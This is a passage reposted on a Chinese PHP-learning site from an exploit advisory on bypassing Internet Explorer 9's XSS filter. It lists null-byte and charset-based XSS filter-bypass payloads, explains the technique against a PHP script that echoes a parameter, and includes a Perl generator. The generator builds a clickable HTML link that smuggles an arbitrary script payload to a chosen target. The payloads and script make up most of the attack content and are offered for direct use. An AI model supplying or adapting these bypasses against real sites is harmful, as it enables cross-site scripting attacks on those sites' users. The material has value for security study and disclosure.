网站地图    收藏   

主页 > 后端 > 网站安全 >

Internet Explorer 9 XSS Filter Bypass - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 00截断之前貌似没接触过,但是字符集编码导致被绕过之前研究的很多。(大家可以研究下某已经被补的预警!)-------------------------------------------------------------------Insight-labs公布的一些...

00截断之前貌似没接触过,但是字符集编码导致被绕过之前研究的很多。 
 
(大家可以研究下某已经被补的预警!) 
 
------------------------------------------------------------------- 
 
Insight-labs公布的一些方法: 
 
<script>alert(1)</script>
<script/%00%00%00%00%00>alert(1)</script>
%00%00v%00%00<script>alert(1)</script>
<script/%00%00v%00%00>alert(1)</script>
";alert(1)//
%c0";alert(%00)//
%c0";//(%0dalert(1)//
%c0";//(%0dalert(1)//
%c0";//(%00%0dalert(1)//
%c0"//(%000000%0dalert(1)//
------------------------------------------------------------------- 
 
################################################# 
 
Internet Explorer 9 XSS Filter Bypass 
 
################################################# 
 
Discovered by: Jean Pascal Pereira <pereira@secbiz.de> 
 
Vendor information: 
 
"Internet Explorer (formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly abbreviated IE or MSIE) is a series of graphical web browsers developed by Microsoft and included as part of the Microsoft Windows line of operating systems, starting in 1995. It was first released as part of the add-on package Plus! for Windows 95 that year. Later versions were available as free downloads, or in service packs, and included in the OEM service releases of Windows 95 and later versions of Windows.." 
 
Vendor URI: http://www.microsoft.com 
 
################################################# 
 
Issue: Cross Site Scripting Filter Bypass 
 
------------------------------------- 
 
Description: 
 
The Internet Explorer 9 offers a feature to eliminate suspicious pattern passed to the website by a parameter. 
 
For example, we have the following script: 
 
------------------------------------- 
 
<?php 
 
echo $_GET['a']; 
 
?> 
 
------------------------------------- 
 
Let's call it "blah.php". Now we access the blah.php by using Internet Explorer 9 and try to execute a malicious string: 
 
http://localhost/ieb/blah.php?a=<script>alert(1)</script> 
 
After this, we receive the message "Internet Explorer has modified this page to help prevent cross-site scripting". 
 
The JavaScript won't be executed. 
 
------------------------------------- 
 
Proof Of Concept: 
 
This trick may be known to some of you. Internet Explorer allows stripping tags by inserting nullbytes. 
 
For example, the following string will be executed: 
 
3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E 
 
Which is actually "<s[NULL]cript>alert(1)</s[NULL]cript>". 
 
However, we won't be able to insert the nullbytes directly in the URI. The following example won't work: 
 
http://localhost/ieb/blah.php?a=<s%00cript>alert(1)</s%00cript> 
 
But there is still another possibility. Grab a hex editor and create a file looking like the example given below: 
 
<a href='http://localhost/ieb/blah.php?a=<s[NULL]cript>alert(1)</s[NULL]cript>'>Clickme</a> 
 
If you open the file and click the provided link, the script will be executed. 
 
------------------------------------- 
 
Exploit (for the lazy folks): 
 
------------------------------------- 
 
#!/usr/bin/perl  www.2cto.com
 
use strict; 
 
use warnings; 
 
# Internet Explorer 9 XSS Filter Bypass Generator 
 
# Credit: Jean Pascal Pereira <pereira[at]secbiz.de> 
 
# http://0xffe4.org 
 
my $target  = shift || die("No target defined"); 
 
my $payload = shift || die("No payload defined"); 
 
my $lnk_txt = shift || "Click me :)"; 
 
open(OUT, ">:raw", "out.html"); 
 
print OUT "\x3C\x61\x20\x68\x72\x65\x66\x3D\x27"; 
 
print OUT $target; 
 
print OUT "\x3C\x73\x00\x63\x72\x69\x70\x74\x3E"; 
 
print OUT $payload; 
 
print OUT "\x3C\x2F\x73\x00\x63\x72\x69\x70\x74\x3E\x27\x3E"; 
 
print OUT $lnk_txt; 
 
print OUT "\x3C\x2F\x61\x3E"; 
 
close(OUT); 
 
------------------------------------- 
 
Example usage is: 
 
iefilter.pl http://www.example.com?var= alert(1) 
 
------------------------------------- 
 
Note: 
 
Exploitation via <a href="ja[NULL]vascript:... links is also possible. 
 
------------------------------------- 
 
Solution: 
 
Currently, no solution is available for this issue. 
 
------------------------------------- 
 
################################################# 
 
< http://0xffe4.org > 
 
# 1337day.com [2012-10-25] 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论